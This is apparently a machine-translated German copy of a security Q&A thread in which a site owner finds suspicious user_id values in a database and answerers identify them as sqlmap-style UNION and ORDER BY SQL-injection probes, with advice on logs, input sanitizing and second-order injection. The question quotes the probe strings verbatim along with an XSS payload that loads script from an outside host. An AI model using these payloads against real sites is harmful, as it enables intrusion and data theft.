it-swarm.com.de

Handelt es sich um einen SQL-Injection-Angriff oder um einen Fehler?

Ich habe einige Daten in unserer Datenbank durchgesehen, als ich auf ein paar seltsame user_id Einträge:

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

Es scheint nicht so, als würde etwas Bösartiges versucht, daher glaubt ein Teil von mir, dass dies möglicherweise durch einen Fehler verursacht wurde, aber andererseits ist es ziemlich verdächtig, SQL in Dateneinträgen zu sehen.

Was könnte es versuchen zu tun?

Hier sind einige weitere Beispiele, die ich gefunden habe und die interessant sein könnten:

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))
69
turnip

Werfen Sie einen Blick auf "Union Injection" SQL-Angriffe wie gefunden hier .

Grundsätzlich werden verschiedene Methoden ausprobiert, um die Anzahl der Spalten in der Abfrage zu ermitteln und nach einer erfolgreichen zu suchen. Das order by Zeilen versuchen, den Unterschied zwischen Daten, die nach bestimmten Spalten geordnet sind, und einem Fehler zu erkennen, der durch den Versuch verursacht wird, nach einer nicht vorhandenen Spalte zu ordnen, während die select versuchen, ein gültiges UNION zu erhalten Befehl zum Arbeiten - Dies funktioniert nur, wenn die beiden Abfragen, die in einer Union kombiniert werden, dieselbe Anzahl von Spalten haben.

Aufgrund der zufälligen Buchstaben am Ende einiger Zeilen ist es wahrscheinlich, dass jemand das sqlmap-Tool für Ihr Formular ausführt, aber die Tatsache, dass Sie sie in Ihrer Datenbank gefunden haben, ist eine gute Sache - es deutet darauf hin, dass der Versuch fehlgeschlagen ist, obwohl dies der Fall ist Möglicherweise sind dies nur fehlgeschlagene Teile eines erfolgreichen Angriffs.

42
Matthew

Dies ist das Ergebnis eines Versuchs einer SQL-Injection auf Ihrer Site. Jemand hat versucht festzustellen, ob Ihre Website für eine gewerkschaftsbasierte Injektion anfällig ist. Bei allen Datensätzen, die Sie sehen, scheint es nicht funktioniert zu haben.

Sie sollten Ihre Zugriffs- und Fehlerprotokolle auf die betroffene Zeitspanne überprüfen, um festzustellen, ob weitere Anforderungen gestellt wurden.

Eine verdächtige Sache, die mir aufgefallen ist, ist, dass ich keine Einträge mit doppelten Anführungszeichen (") sehe, die darauf hinweisen könnten, dass sie die Funktionalität der Site oder eine Injektion mit doppelten Anführungszeichen, die gegen Ihre Site wirken, beeinträchtigt haben.

Möglicherweise möchten Sie den relevanten Quellcode überprüfen, um festzustellen, ob die Parameterwerte ordnungsgemäß bereinigt wurden. Dies könnte auch erklärt werden, wenn ein anderer Teil Ihres Setups Anfragen mit doppelten Anführungszeichen blockiert oder Injektionen mit ihnen einfach nicht versucht wurden.

82
Denis

Zusätzlich zu den bereits gegebenen guten Antworten, die besagen, dass dies wahrscheinlich Anzeichen für erfolglose Versuche sind, möchte ich hinzufügen, dass diese Benutzer-IDs Teil eines ausführlicheren erfolgreich sein können Injektion.

Dies ist nicht rein theoretisch. Ich bin auf Situationen gestoßen, in denen die Ergebnisse einer ausgewählten Abfrage ohne ordnungsgemäße Eingabevalidierung in einer zweiten Abfrage verwendet werden. Der Entwickler überprüft möglicherweise nur direkte Benutzereingaben und geht (fälschlicherweise) davon aus, dass alles von die Datenbank sicher ist. Bis zum Speichern dieser Benutzer-ID-Werte ist also nichts falsch, aber in nachfolgenden Abfragen geschieht die Magie. Besonders gefährlich sind Ganzzahlfelder, die sich in Zeichenfolgen verwandeln, da Ganzzahlen häufig ohne Escapezeichen oder Anführungszeichen verwendet werden.

Randnotiz: Es ist sehr effektiv, jede fehlerhafte Abfrage zu protokollieren/zu benachrichtigen, da es fast unmöglich ist, eine Injektion in ein unbekanntes System durchzuführen, ohne zumindest einige Fehler auszulösen. Abgesehen davon sollte in einem Produktionssystem niemals eine Abfrage fehlschlagen (wie in: Syntaxfehler).

31
mvds